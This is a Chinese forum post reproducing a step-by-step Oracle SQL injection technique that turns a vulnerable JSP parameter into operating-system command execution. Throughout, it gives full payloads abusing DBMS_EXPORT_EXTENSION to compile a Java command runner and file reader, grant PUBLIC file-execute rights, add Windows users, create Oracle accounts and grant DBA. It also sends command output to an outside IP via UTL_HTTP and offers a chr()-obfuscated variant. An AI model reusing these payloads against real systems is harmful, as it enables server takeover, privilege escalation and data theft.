以文本方式查看主題 - 曙海教育集團論壇 (http://www.hufushizhe.com/bbs/index.asp) -- Oracle數據庫 (http://www.hufushizhe.com/bbs/list.asp?boardid=65) ---- 犀利的 oracle 注入技術 (http://www.hufushizhe.com/bbs/dispbbs.asp?boardid=65&id=2503) |
-- 作者:wangxinxin -- 發布時間:2010-12-11 11:04:20 -- 犀利的 oracle 注入技術 介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。 以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成 /xxx.jsp?id=1 and \'1\'<>\'a\'||(select SYS.DBMS_EXPORT_EXTENSION.....) 的形式即可。(用" \'a\'|| "是為了讓語句返回true值) 語句有點長,可能要用post提交。 以下是各個步驟: 1.創建包 通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件: /xxx.jsp?id=1 and \'1\'<>\'a\'||( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}} }\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual ) ------------------------ 如果url有長度限制,可以把readFile()函數塊去掉,即: /xxx.jsp?id=1 and \'1\'<>\'a\'||( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}} }\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual ) 同時把后面步驟 提到的 對readFile()的處理語句去掉。 ------------------------------ 2.賦Java權限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'begin dbms_java.grant_permission( \'\'\'\'\'\'\'\'PUBLIC\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'SYS:java.io.FilePermission\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'<<ALL FILES>>\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'execute\'\'\'\'\'\'\'\' );end;\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual 3.創建函數 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'\'\'\'\'LinxUtil.runCMD(java.lang.String) return String\'\'\'\'\'\'\'\'; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name \'\'\'\'\'\'\'\'LinxUtil.readFile(java.lang.String) return String\'\'\'\'\'\'\'\'; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual 4.賦public執行函數的權限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxRunCMD to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxReadFile to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual 5.測試上面的幾步是否成功 and \'1\'<>\'11\'||( select OBJECT_ID from all_objects where object_name =\'LINXRUNCMD\' ) and \'1\'<>( select OBJECT_ID from all_objects where object_name =\'LINXREADFILE\' ) 6.執行命令: /xxx.jsp?id=1 and \'1\'<>( select sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual ) /xxx.jsp?id=1 and \'1\'<>( select sys.LinxReadFile(\'c:/boot.ini\') from dual ) 注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and \'1\'<>"。 如果要查看運行結果可以用 union : /xxx.jsp?id=1 union select sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual 或者UTL_HTTP.request(: /xxx.jsp?id=1 and \'1\'<>( SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxRunCMD(\'cmd /c net user aaa /del\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual ) /xxx.jsp?id=1 and \'1\'<>( SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxReadFile(\'c:/boot.ini\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual ) 注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。 -------------------- 6.內部變化 通過以下命令可以查看all_objects表達改變: select * from all_objects where object_name like \'%LINX%\' or object_name like \'%Linx%\' 7.刪除我們創建的函數 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' drop function LinxRunCMD \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual ==================================================== 全文結束。謹以此文贈與我的朋友。 linx 124829445 2008.1.12 edu.cn" target="_blank">linyujian@bjfu.edu.cn ====================================================================== 測試漏洞的另一方法: 創建oracle帳號: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' CREATE USER linxsql IDENTIFIED BY linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual 即: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 確定漏洞存在: 1<>( select user_id from all_users where username=\'LINXSQL\' ) 給linxsql連接權限: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' GRANT CONNECT TO linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual 刪除帳號: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' drop user LINXSQL\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual ====================== 以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User: 1.jsp?id=1 and \'1\'<>( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual ) and ... 1.jsp?id=1 and \'1\'<>( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on Linx_query to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual ) and ... 1.jsp?id=1 and \'1\'<>( SELECT sys.Linx_Query(\'SELECT 14554 FROM DUAL\') FROM DUAL ) and ... 1.jsp?id=1 and \'1\'<>( SELECT sys.Linx_Query(\'declare pragma autonomous_transaction; begin execute immediate \'\' select 1 from dual \'\'; commit; end;\') from dual ) and ... 多語句: SELECT sys.Linx_Query(\'declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;\') from dual 創建用戶(除非當前用戶有system權限,否則無法成功): SELECT sys.Linx_Query(\'declare pragma autonomous_transaction; begin execute immediate \'\' CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User \'\'; commit; end;\') from dual ================ 以下的方法是先建立函數Linx_Query(),再建立 RunCMD2() 1.創建函數 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual; 如果有權限,以下語句應該允許正常 select sys.linx_query(\'select 1 from dual\') from dual; 不然的話運行: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\' grant dba to 當前的User\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual 2.創建包 SELECT sys.Linx_Query(\'declare pragma autonomous_transaction; begin execute immediate \'\' create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";return str;}}\'\'; commit; end;\') from dual 3.創建函數 SELECT sys.Linx_Query(\'declare pragma autonomous_transaction; begin execute immediate \'\' create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'LinxUtil2.RunCMD(java.lang.String) return String\'\'\'\';\'\'; commit; end;\') from dual 4.給權限 給用戶SYSTEM執行權限: SELECT sys.Linx_Query(\'declare pragma autonomous_transaction;begin dbms_java.grant_permission( \'\'SYSTEM\'\', \'\'SYS:java.io.FilePermission\'\', \'\'<<ALL FILES>>\'\', \'\'execute\'\' );end;\') from dual 5.執行函數 select RunCMD2(\'cmd /c dir\') from dual |